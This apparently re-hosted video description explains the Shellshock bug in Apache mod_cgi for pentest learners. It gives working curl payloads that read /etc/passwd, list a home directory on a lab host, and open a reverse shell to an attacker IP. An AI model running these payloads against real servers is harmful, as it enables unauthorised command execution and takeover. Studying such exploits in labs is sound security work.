Apache mod_cgi - Shellshock- Remote Command Injection | Manually Exploit | POC | Explain in Hindi
#Exploit-DB #ShellShock #RemoteCommandInjection #PentestHint
What is Shellshock?
Shellshock is a critical bug in Bash versions 1.0.3 - 4.3 that can enable an attacker to execute arbitrary commands. Some web servers (including Apache) support the Common Gateway Interface (CGI) specification which allows CLI programs to be used to generate dynamic pages.
To check if the site is vulnerable to Shellshock, we can run the following code:
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://example.com//cgi-bin/test.cgi
Ryan's Directory
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/ls -al /home/ryan/' bash -s :'' http://10.10.155.108//cgi-bin/test.cgi
Reverse Connection:
curl -H 'User-Agent: () { :; }; /bin/bash -i gt& /dev/tcp/YourIP/YourPort 0gt&1' http://example.com/cgi-bin/test.cgi
Notes: https://drive.google.com/file/d/1-yk1gI2ww2oYk-6I-h69rRnwARvOkL2z/view?usp=sharing
Exaploit-DB: https://www.exploit-db.com/exploits/34900
----------------------------------------------------------------
Follow:
Twitter: https://twitter.com/chandanghodela
Instagram: https://instagram.com/chandan.ghodela
LinkedIn: https://linkedin.com/in/chandan-singh-ghodela
Что делает видео по-настоящему запоминающимся? Наверное, та самая атмосфера, которая заставляет забыть о времени. Когда вы заходите на RUVIDEO, чтобы посмотреть онлайн «Apache mod_cgi - Shellshock- Remote Command Injection | Manually Exploit | POC | Explain in Hindi», вы рассчитываете на нечто большее, чем просто загрузку плеера. И мы это понимаем. Контент такого уровня заслуживает того, чтобы его смотрели в HD 1080, без дрожания картинки и бесконечного буферизации.
Честно говоря, Rutube сегодня — это кладезь уникальных находок, которые часто теряются в общем шуме. Мы же вытаскиваем на поверхность самое интересное. Будь то динамичный экшн, глубокий разбор темы от любимого автора или просто уютное видео для настроения — всё это доступно здесь бесплатно и без лишних формальностей. Никаких «заполните анкету, чтобы продолжить». Только вы, ваш экран и качественный поток.
Если вас зацепило это видео, не забудьте взглянуть на похожие материалы в блоке справа. Мы откалибровали наши алгоритмы так, чтобы они подбирали контент не просто «по тегам», а по настроению и смыслу. Ведь в конечном итоге, онлайн-кинотеатр — это не склад файлов, а место, где каждый вечер можно найти свою историю. Приятного вам отдыха на RUVIDEO!
Видео взято из открытых источников Rutube. Если вы правообладатель, обратитесь к первоисточнику.